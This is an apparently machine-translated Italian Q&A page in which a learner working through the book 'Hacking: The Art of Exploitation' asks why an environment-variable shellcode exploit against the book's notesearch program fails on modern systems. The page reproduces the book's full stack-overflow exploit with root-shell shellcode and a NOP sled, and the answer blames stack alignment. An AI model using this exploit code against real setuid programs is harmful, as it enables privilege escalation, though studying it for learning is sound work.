Perché questo non shellcode eseguire?

0

Domanda

Sto lavorando attraverso Hacking: L'Arte di Sfruttamento e sono in esecuzione nel mio primo intoppo cercando di ottenere un lavoro noto exploit per eseguire il libro attraverso una variabile di ambiente. Tutti i programmi sono compilati con -fno-stack-protector -zexecstack -no-pie -fno-pie.

In esecuzione exploit_notesearch.c (anche se con un offset specifiche), sono stato in grado di ottenere l'exploit di pop shell, spostando l'offset con argv[1]. Questo funziona su Sistemi operativi moderni (con ASLR disabili), come pure il cd di installazione fornito con la rubrica.

notesearch.c

exploit_notesearch.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]= 
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
   unsigned int i, *ptr, ret, offset=208;
   char *command, *buffer;

   command = (char *) malloc(200);
   bzero(command, 200); // zero out the new memory

   strcpy(command, "./notesearch \'"); // start command buffer
   buffer = command + strlen(command); // set buffer at the end

   if(argc > 1) // set offset
      offset = atoi(argv[1]);

   ret = (unsigned int) &i - offset; // set return address

   for(i=0; i < 160; i+=4) // fill buffer with return address
      *((unsigned int *)(buffer+i)) = ret;
   memset(buffer, 0x90, 60); // build NOP sled
   memcpy(buffer+60, shellcode, sizeof(shellcode)-1); 

   strcat(command, "\'");

   system(command); // run exploit
   free(command);
}

Nel seguito del capitolo, abbiamo impostato la shellcode di una variabile di ambiente e tenta di reindirizzare il flusso per il luogo in pila dove la SHELLCODE variabile di ambiente è impostata, a metà strada attraverso il anteposto NOP sled. Tuttavia, questo non viene mai eseguito l'exploit su Sistemi operativi moderni, ma funziona bene con Ubuntu 7.04 live CD fornito con il libro. shellcode.bin è la shellcode in alto exploit_notesearch.c file di corse con echo -en e reindirizzato in un file.

$ export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat shellcode.bin)
$ ./notesearch $(perl -e 'print "\x17\xf2\xff\xbf"x40') # Address halfway through NOP sled

Che cosa sta succedendo qui che è cambiato tra il vecchio e Sistemi operativi moderni? C'è una protezione che ignoro che impedisce di guidare il NOP sled per la shellcode?

Grazie.

c environment-variables shellcode
2021-11-24 04:34:00
1

Migliore risposta

0

Il problema è stato stack di allineamento, la compilazione con -mpreferred-stack-boundary=2 consente di allineare la risma analogamente al libro.

2021-11-24 15:24:48

In altre lingue

Questa pagina è in altre lingue

Русский
..................................................................................................................
Polski
..................................................................................................................
Română
..................................................................................................................
한국어
..................................................................................................................
हिन्दी
..................................................................................................................
Français
..................................................................................................................
Türk
..................................................................................................................
Česk
..................................................................................................................
Português
..................................................................................................................
ไทย
..................................................................................................................
中文
..................................................................................................................
Español
..................................................................................................................
Slovenský
..................................................................................................................